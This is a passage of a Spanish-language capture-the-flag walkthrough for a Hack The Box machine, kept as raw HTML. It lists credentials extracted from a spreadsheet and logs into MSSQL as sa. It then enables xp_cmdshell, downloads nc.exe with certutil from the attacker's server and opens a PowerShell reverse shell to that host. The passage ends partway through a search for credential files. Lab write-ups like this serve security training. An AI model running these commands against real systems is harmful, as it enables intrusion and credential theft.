&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Angela&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Martin&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;angela@sequel.htb&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;angela&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;0fwz7Q4mSpurIt99&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Oscar&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Martinez&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;oscar@sequel.htb&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;oscar&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;86LxLBMgEWaKUnBG&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Kevin&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Malone&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;kevin@sequel.htb&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;kevin&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Md9Wlq1E5bZnVDVo&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;NULL&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;sa@sequel.htb&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;sa&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;MSSQLP@ssw0rd!&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/sst&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Credenciales extraídas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;angela@sequel.htb:0fwz7Q4mSpurIt99&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;oscar@sequel.htb:86LxLBMgEWaKUnBG&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kevin@sequel.htb:Md9Wlq1E5bZnVDVo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sa@sequel.htb:MSSQLP@ssw0rd!&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Validé credenciales de Oscar:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-80f2-b3ea-d22198004f63.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Y también las de &lt;code&gt;sa&lt;/code&gt; (administrador del servicio MSSQL):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8005-b830-c63556d09578.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="acceso-a-mssql-y-ejecución-de-comandos"&gt;Acceso a MSSQL y ejecución de comandos&lt;/h3&gt;
&lt;p&gt;Me conecté a MSSQL con &lt;code&gt;impacket-mssqlclient&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;impacket-mssqlclient sequel.htb/'sa:MSSQLP@ssw0rd!'@10.129.69.156&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Habilité &lt;code&gt;xp_cmdshell&lt;/code&gt; para poder ejecutar comandos:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8033-a761-c700df5231b3.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Pasé un &lt;code&gt;nc.exe&lt;/code&gt; para lanzar una reverse shell.&lt;/p&gt;
&lt;p&gt;Servidor HTTP en mi máquina:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(kali&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/usr/share/windows-resources/binaries]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;$ python3 -m http.server &lt;span style="color:#ae81ff"&gt;4000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Serving HTTP on &lt;span style="color:#ae81ff"&gt;0.0&lt;/span&gt;.0.0 port &lt;span style="color:#ae81ff"&gt;4000&lt;/span&gt; (http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;0.0&lt;/span&gt;.0.&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4000&lt;/span&gt;/) ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 - - [&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;/Jan/&lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;13&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;] &lt;span style="color:#e6db74"&gt;&amp;#34;GET /nc.exe HTTP/1.1&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; -
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 - - [&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;/Jan/&lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;13&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;] &lt;span style="color:#e6db74"&gt;&amp;#34;GET /nc.exe HTTP/1.1&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; -
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---------------------------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---------------------------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---------------------------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---------------------------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SQL (sa dbo@master)&amp;gt; EXEC xp_cmdshell &lt;span style="color:#e6db74"&gt;&amp;#39;certutil -urlcache -split -f http://10.10.15.44:4000/nc.exe C:\Users\sql_svc\Desktop\nc64.exe&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;output
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CertUtil&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; -URLCache command completed successfully.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NULL
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ejecuté &lt;code&gt;enable_xp_cmdshell&lt;/code&gt; y luego lancé la shell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SQL (sa dbo@master)&amp;gt; enable_xp_cmdshell
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INFO(DC01\SQLEXPRESS)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Line &lt;span style="color:#ae81ff"&gt;185&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;Configuration&lt;/span&gt; option &lt;span style="color:#e6db74"&gt;&amp;#39;show advanced options&amp;#39;&lt;/span&gt; changed from &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; to &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;. Run the RECONFIGURE statement to install.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INFO(DC01\SQLEXPRESS)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Line &lt;span style="color:#ae81ff"&gt;185&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;Configuration&lt;/span&gt; option &lt;span style="color:#e6db74"&gt;&amp;#39;xp_cmdshell&amp;#39;&lt;/span&gt; changed from &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; to &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;. Run the RECONFIGURE statement to install.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SQL (sa dbo@master)&amp;gt; EXEC xp_cmdshell &lt;span style="color:#e6db74"&gt;&amp;#39;C:\Users\sql_svc\Desktop\nc64.exe 10.10.15.44 4444 -e powershell&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Shell recibida:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8064-8289-d9cad94b743a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Dentro de la máquina vi que la flag no estaba en el directorio de &lt;code&gt;sql_svc&lt;/code&gt;, y que había otro usuario llamado &lt;strong&gt;ryan&lt;/strong&gt;, así que necesitaba pivotar.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="búsqueda-de-credenciales-en-la-máquina-pivot-a-ryan"&gt;Búsqueda de credenciales en la máquina (pivot a ryan)&lt;/h3&gt;
&lt;p&gt;Busqué ficheros que contuvieran credenciales. En la ruta de instalación de SQL encontré un fichero de configuración con passwords:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PS C:\&amp;gt; dir
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Directory&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; C:\
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Mode LastWriteTime Length Name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---- ------------- ------ ----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2022&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;03&lt;/span&gt; PM PerfLogs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d-r--- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; AM Program Files
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;37&lt;/span&gt; AM Program Files (x86)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; PM SQL2019
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d-r--- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;42&lt;/span&gt; AM Users
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; AM Windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PS C:\&amp;gt; cd SQL2019
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PS C:\SQL2019&amp;gt; dir
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Directory&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; C:\SQL2019
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Mode LastWriteTime Length Name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---- ------------- ------ ----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt; AM ExpressAdv_ENU
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PS C:\SQL2019&amp;gt; cd ExpressAdv_ENU
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PS C:\SQL2019\ExpressAdv_ENU&amp;gt; dir
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Directory&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; C:\SQL2019\ExpressAdv_ENU
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Mode LastWriteTime Length Name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---- ------------- ------ ----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; PM 1033_ENU_LP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d----- &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; PM redist
